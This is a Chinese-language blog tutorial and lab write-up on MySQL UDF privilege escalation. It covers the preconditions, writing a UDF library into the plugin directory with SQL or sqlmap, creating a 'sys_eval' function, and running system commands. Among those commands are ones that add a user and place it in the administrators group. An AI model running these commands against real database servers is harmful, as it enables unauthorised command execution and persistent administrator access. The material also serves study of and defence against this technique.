• Mysql UDF提权方法


    Mysql UDF提权方法 

     

    0x01 UDF#

    UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

    0x02 windows下udf提权的条件#

    • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
    • 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
    • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
    • 拥有可以将udf.dll写入相应目录的权限。

    0x03 提权方法#

    如果是mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。


    在sqlmap中可以导入udf


    复制到新建目录

    Copy
    create function sys_eval returns string soname "lib_mysqludf_sys.dll"; --引用共享库文件创建存储过程
    


    成功执行命令,可以看到当前权限为administrator

    删除该函数

    参考
    https://www.cnblogs.com/sijidou/p/10522972.html
    https://www.jianshu.com/p/5b34c1b6dee7
    https://blog.csdn.net/qq_26090065/article/details/81515355

    注意:

    把dll文件放入到特定的“文件夹”下方式有很多种:

    方式a.如何你有webshell或有能操作文件的任何方式(比如远程登录),直接把dll文件放入特定文件夹下。文件名可以自定义,比如我喜欢命名为“udf.dll”。比如用“菜刀”操作文件

    udf.dll文件下载链接:

    方式b.也可以使用sql语句导入(写)一个dll文件。(只有sql语句执行权限最适合用此方法),下面的文章就是使用了此方法!

    mysql udf提权实战测试

     

    根据前天对大牛们的资料学习,进行一次mysql udf提权测试。

    测试环境:

    受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128

    攻击者系统:centos7.7,安装mysq client 5.7,IP:192.168.226.129

    攻击者连接至mysql后,使用SQL语句检查相关的路径及权限

    show variables like "%plugin%";

    show variables like "%secure_file%";


    攻击者系统

    刚安装好的mysql时,secure_file_priv是有一个指定路径,而且并不在/usr/lib/mysql/下,则无法写入udf文件。手动在受害者所在系统/etc/mysql/mysql.conf.d/mysqld.conf中修改,若不存在secure_file_priv,则添加secure_file_priv=


    受攻击系统的mysqld.conf

    提权测试:

    将udf十六进制导入查检目录中,先设置udf变量

    mysql> set @a=unhex('udf十六进制编码,详见下文');

    mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';


    上传插件

    *************也可以使用sqlmap进行上传so文件:

    python sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="C:\Users\username\AppData\Local\Programs\Python\Python37\sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"

    引用方法,成功执行系统命令:

    mysql> select * from func;

    mysql> create function sys_eval returns string soname 'udf.so';

    mysql> select sys_eval('whoami');


    命令执行成功-whami

    <进一步的权限提升及持久化,需要继续学习研究>

    ==》要使用net user add 才可以最终提权!!!如下:

    3.使用自定义的函数。

    我们可以使用如下命令来执行系统命令

    select sys_eval('系统命令');

    例如我们执行如下命令:

    select sys_eval('net user admin admin /add');

    就会发现新建了一个用户-admin

    有些人对于UDF提权有一些错误的认知。认为UDF提权只是影响windows和mysql。但UDF(用户自定义函数)不仅仅是影响着Windows系统,也影响Linux系统。不仅仅影响Mysql,也影响Postgrepsql。

    =============================

        9.通过cmd function进行提权。

            命令:

                select cmdshell('net user x x /add');

                select cmdshell('net localgroup administrators x /add');

     

     

        10.远程到主机

     

    11.查看管理员组

  • 相关阅读:
    .NET LINQ 数据分区
    .NET LINQ 投影运算
    .NET LINQ 限定符操作
    .NET LINQ 筛选数据
    freeswitch媒体处理方式
    freeseitch设置通道增益
    鼎信设备设置通道增益,提高音量
    freeswitch 录音
    freeswitch录音设置(不设置缓存)
    freswitch 设置sip中的callid作为用到的uuid
  • 原文地址:https://www.cnblogs.com/bonelee/p/15864090.html
Copyright © 2020-2023  润新知